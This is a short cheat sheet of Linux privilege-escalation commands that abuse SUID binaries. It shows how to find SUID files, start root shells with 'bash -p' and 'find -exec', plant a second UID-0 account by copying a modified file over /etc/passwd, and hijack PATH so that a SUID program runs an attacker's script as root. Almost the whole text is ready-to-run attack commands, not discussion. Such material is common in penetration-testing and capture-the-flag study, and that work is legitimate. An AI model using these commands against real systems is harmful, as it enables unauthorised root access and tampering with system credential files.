SUID Binary Exploitation

reference 17 commands

Detection

find / -perm -4000 -type f 2>/dev/null | sort

find / -perm -u=s -type f 2>/dev/null | sort

Check each result against GTFOBins → gtfobins.github.io (filter: SUID)

3 Common SUID Examples

bash (if SUID is set on bash itself)

ls -la /bin/bash    # Look for: -rwsr-xr-x

/bin/bash -p        # -p flag preserves effective UID = root shell instantly

cp (if SUID is set)

Overwrite /etc/shadow or /etc/passwd

Create a new passwd entry:

openssl passwd -1 -salt root hacked     # Generate hash

echo "root2:HASH:0:0:root:/root:/bin/bash" >> /tmp/newpasswd

cp /tmp/newpasswd /etc/passwd

su root2    # Password: hacked

find

Check if SUID

ls -la /usr/bin/find

find / -exec /bin/bash -p \; -quit

Custom SUID binaries / unknown binary with SUID:

Run it and observe behavior

strings /path/to/suid_binary    # Look for system() calls, relative paths

ltrace /path/to/suid_binary     # Trace library calls

strace /path/to/suid_binary 2>&1 | head -30    # Trace syscalls

If it calls a program using a relative path → PATH hijacking

export PATH=/tmp:$PATH

echo '#!/bin/bash\nbash -p' > /tmp/<PROGRAM-NAME>

chmod +x /tmp/<PROGRAM-NAME>

/path/to/suid_binary    # Calls our fake binary as root